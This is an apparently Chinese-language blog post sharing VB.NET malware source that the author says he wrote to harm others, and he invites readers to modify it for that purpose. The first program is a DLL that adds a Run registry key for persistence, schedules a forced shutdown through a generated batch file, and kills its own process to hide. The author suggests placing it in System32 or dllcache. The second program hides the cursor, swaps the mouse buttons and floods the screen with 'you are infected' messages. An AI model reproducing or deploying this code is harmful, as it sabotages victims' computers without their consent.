回顾以前做的程序,这又是一个经典,可惜函数本身有问题,有没时间去改进,原本是想那拿这个程序去害别人的.现在也打消了这个想法,现在拿出来给大家做参考,可以修改后拿的害别人,随后加个小恶意软件供大家娱乐哈,笑笑!
用VB.NET编写的定时关机程序,先编写了一个dll链接库为的是隐蔽作用:
Imports System.IO
Imports System
Public Class Class1
Public Function buffer()
Dim a As Integer
Dim i As Integer = Minute(Now)
Dim j As Integer = Hour(Now)
a = i + 5
Dim path As String = "c:/VB.bat"
Dim path1 As String = "D:/My Documents/Visual Studio 2005/Projects/传递/传递/bin/Debug/传递.exe"
Dim fil1 As New FileInfo(path)
Dim MyReg As Microsoft.Win32.RegistryKey
MyReg = Microsoft.Win32.Registry.LocalMachine
MyReg = MyReg.CreateSubKey("Software/Microsoft/Windows/CurrentVersion/run")
//修改注册表保证每次开机都加载指定的程序
MyReg.SetValue("传递.exe", path1)
MyReg.Close()
If fil1.Exists = False Then
File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f")
//该函数规定了5分钟后关机
//我选取生成bat文件来关机,未采取API函数来关机
Else
File.Delete(path)
File.AppendAllText(path, "at " & j & ":" & a & " shutdown -s -t 0 -f")
End If
Dim id As String
id = Shell("""c:/VB.bat"" -a -q", , True, 100000)
Dim process As System.Diagnostics.Process
For Each process In System.Diagnostics.Process.GetProcesses
If process.ProcessName = "传递" Then
process.Kill()
End If
Next
//遍历进程管理器,Kill掉该进程,时期隐蔽
Return buffer()
End Function
Private Function Shell(ByVal PathName As String, Optional ByVal Style As AppWinStyle = AppWinStyle.MinimizedFocus, Optional ByVal Wait As Boolean = False, Optional ByVal Timeout As Integer = -1) As Integer
Dim procID As Integer
Dim newProc As Diagnostics.Process
newProc = Diagnostics.Process.Start("c:/VB.bat")
procID = newProc.Id
newProc.WaitForExit()
Dim procEC As Integer = -1
If newProc.HasExited Then
procEC = newProc.ExitCode
End If
End Function
//这里用的专门的API执行函数,提高效率
End Class
/这个DLL函数可以放到System32下,也可以放到更新版本后的WindowsXP系统dllCache文件里.
执行dll文件函数:
Imports System.IO
Imports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim path As String = "c:/VB.bat"
Dim file As New FileInfo(path)
file.Delete()
Dim MyDll As New 定时关机.Class1
//加载定时关机dll函数
Dim MyResult As String = MyDll.buffer()
End Sub
End Class
这是主执行体,每次执行该函数时都会自动隐蔽窗体不别人发现
最后加个我蛮早做的恶意程序:
//还比较有意思的
Imports Microsoft.VisualBasic
Imports System
Imports System.IO
Imports System.IO.FileStream
Public Class Form1
Dim path2 As String = "C:/vb.bat"
Dim path1 As String = "C:/"
Dim path3 As String = "C:/WINDOWS/RTHDCPL.EXE"
//控制鼠标
Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Declare Function ShowCursor Lib "user32" Alias "ShowCursor" (ByVal bShow As Long) As Long
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim i As Integer
If File.Exists(path2) Then
Dim RetFunct As Boolean = ShowCursor(False)
SwapMouseButton(1)
MsgBox("你中毒了")
Else
File.Create(path2, 4096, FileOptions.Asynchronous)
End If
If File.Exists(path2) Then
For i = 1 To 10000000
Dim RetFunct As Boolean = ShowCursor(False)
SwapMouseButton(1)
MsgBox("你中毒了")
Next i
End If
End Sub
End Class


发布评论